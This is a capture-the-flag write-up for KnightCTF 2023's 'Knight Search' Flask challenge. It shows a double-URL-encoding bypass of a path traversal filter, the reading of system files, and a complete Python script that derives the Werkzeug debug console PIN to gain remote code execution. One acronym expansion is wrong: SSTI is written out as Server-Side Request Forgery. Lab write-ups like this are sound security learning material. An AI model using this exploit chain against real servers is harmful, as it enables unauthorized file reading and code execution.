Knight Search
Overview
-
Overall difficulty for me (From 1-10 stars): ★★★★★☆☆☆☆☆
-
Challenge static score: 100
Background
Find the flag
Home page:
According to the challenge’s description, the web application’s backend is using Flask framework, which is written in Python. Also, we can search files in the web application.
View source page:
[...]
<div class="container" style="width: 35%; margin-top: 125px;">
<form action="/home" method="POST">
<div class="form-group">
<h3>Ahhh....</h3>
<input name="filename" type="text" class="form-control" id="filename" aria-describedby="emailHelp" placeholder="Ahhhh......">
<button type="submit" class="btn btn-primary" style="margin-top:10px">Ahhh......</button>
<!-- I was just confused to name these :')' -->
</div>
</form>
<div class="alert alert-primary" role="alert" style="margin-top: 12px;">
[...]
When we clicked the submit button, it’ll send a POST request to /home
, with parameter filename
.
Whenever I deal with this searching files functions, I always will try Path Traversal/Directory Traversal , Local File Inclusion (LFI), Remote File Inclusion (RFI), Server-Side Request Forgery (SSTI) and more.
Let’s try to search some files:
Hmm… What if I send a POST request non-existence parameter?
To do so, I’ll intercept and modify the request via Burp Suite:
We’ve triggered an exception error!
In the error output, we see it’s missing a key (parameter) called filename
.
Also, in Werkzeug Debug mode, we can view some of the source code:
return render_template("index.html")
@app.route("/home", methods=['POST'])
def home():
filename = urllib.parse.unquote(request.form['filename'])
data = "Try Harder....."
naughty = "../"
if naughty not in filename:
filename = urllib.parse.unquote(filename)
if os.path.isfile(current_app.root_path + '/'+ filename):
Let’s break it down!
- There is a route (path) called
/home
, and it only allow POST method:- Parameter
filename
will be URL decoded - If
../
IS NOT in the parameterfilename
, it’ll check our suppliedfilename
value is a valid file or not.
- Parameter
Armed with above information, we can try to double URL encode to bypass the ../
. This could allow us to do path traversal, and thus read any files on the local system.
../
double URL encoded:%252E%252E%252F
Note: You can use CyberChef to do that.
Boom! We can read local files!!!!
Let’s read the flag file!
By reading the content of /etc/passwd
file, we found that there is a user called yooboi
:
[...]
yooboi:x:1000:1000::/home/yooboi:/bin/sh
Let’s try to read the flag file in his home directory!
Nope…
Hmm… Let’s read the web application’s Flask source code to have a better understanding of the code flow:
from flask import Flask, request, render_template, current_app
import os, urllib
app = Flask(__name__)
@app.route("/")
def start():
return render_template("index.html")
@app.route("/home", methods=['POST'])
def home():
filename = urllib.parse.unquote(request.form['filename'])
data = "Try Harder....."
naughty = "../"
if naughty not in filename:
filename = urllib.parse.unquote(filename)
if os.path.isfile(current_app.root_path + '/'+ filename):
with current_app.open_resource(filename) as f:
data = f.read()
return render_template("index.html", read = data)
@app.errorhandler(404)
def ahhhh(e):
return render_template("ahhh.html")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=7777 , debug=True)
Nothing useful.
Since we can read local files, why not reading Werkzeug’s console PIN code, and use it’s console to get Remote Code Execution:
According to HackTricks, we can calculate the PIN code:
Also, this writeup could be helpful too:
- username:
yooboi
(From/etc/passwd
) - modname:
flask.app
Flask
- The absolute path of
app.py
in the flask directory:/usr/local/lib/python3.9/site-packages/flask/app.py
- MAC address:
02:42:ac:11:00:03
(From/sys/class/net/eth0/address
)
Leaking network interface:
Found network interface: eth0
Leaking MAC address:
Convert from hex address to decimal representation:
┌[root♥siunam]-(~/ctf/KnightCTF-2023/Web/Knight-Search)-[2023.01.21|14:44:59(HKT)]
└> python3
Python 3.10.9 (main, Dec 7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x0242ac110003)
2485377892355
- Machine ID:
e01d426f-826c-4736-9cd2-a96608b66fd8
(From/proc/sys/kernel/random/boot_id
)
Then, we can use a Python script to generate the Werkzeug console PIN:
import hashlib
from itertools import chain
probably_public_bits = [
'yooboi',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892355',# str(uuid.getnode()), /sys/class/net/ens33/address
'e01d426f826c47369cd2a96608b66fd8'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
But the PIN code is wrong…
After around 3 hours of nothing. I found this YouTube video writeup, which helps me a LOT!
Note: The
/etc/machine-id
and/proc/self/cgroup
on the challenge machine are EMPTY, we can only have/proc/sys/kernel/random/boot_id
. Also, the hashing algorithm MUST change to SHA1.
Final public and private bits:
- Public bits:
- username:
yooboi
(From/etc/passwd
) - modname:
flask.app
Flask
- The absolute path of
app.py
in the flask directory:/usr/local/lib/python3.9/site-packages/flask/app.py
- username:
- Private bits:
- MAC address:
2485377892355
- Boot ID:
e01d426f-826c-4736-9cd2-a96608b66fd8
- MAC address:
Final payload:
import hashlib
from itertools import chain
probably_public_bits = [
'yooboi',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892355',# str(uuid.getnode()), /sys/class/net/ens33/address
'e01d426f-826c-4736-9cd2-a96608b66fd8'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
┌[root♥siunam]-(~/ctf/KnightCTF-2023/Web/Knight-Search)-[2023.01.21|17:29:44(HKT)]
└> python3 solve.py
695-086-043
Let’s try this PIN code!
We’re finally in!!!
Let’s use OS command and get the flag:
- Flag:
KCTF{n3v3r_run_y0ur_53rv3r_0n_d3bu6_m0d3}
Conclusion
What we’ve learned:
- Remote Code Execution (RCE) Via Werkzeug Debug Console & Bypassing Console PIN Code, Path Traversal Filter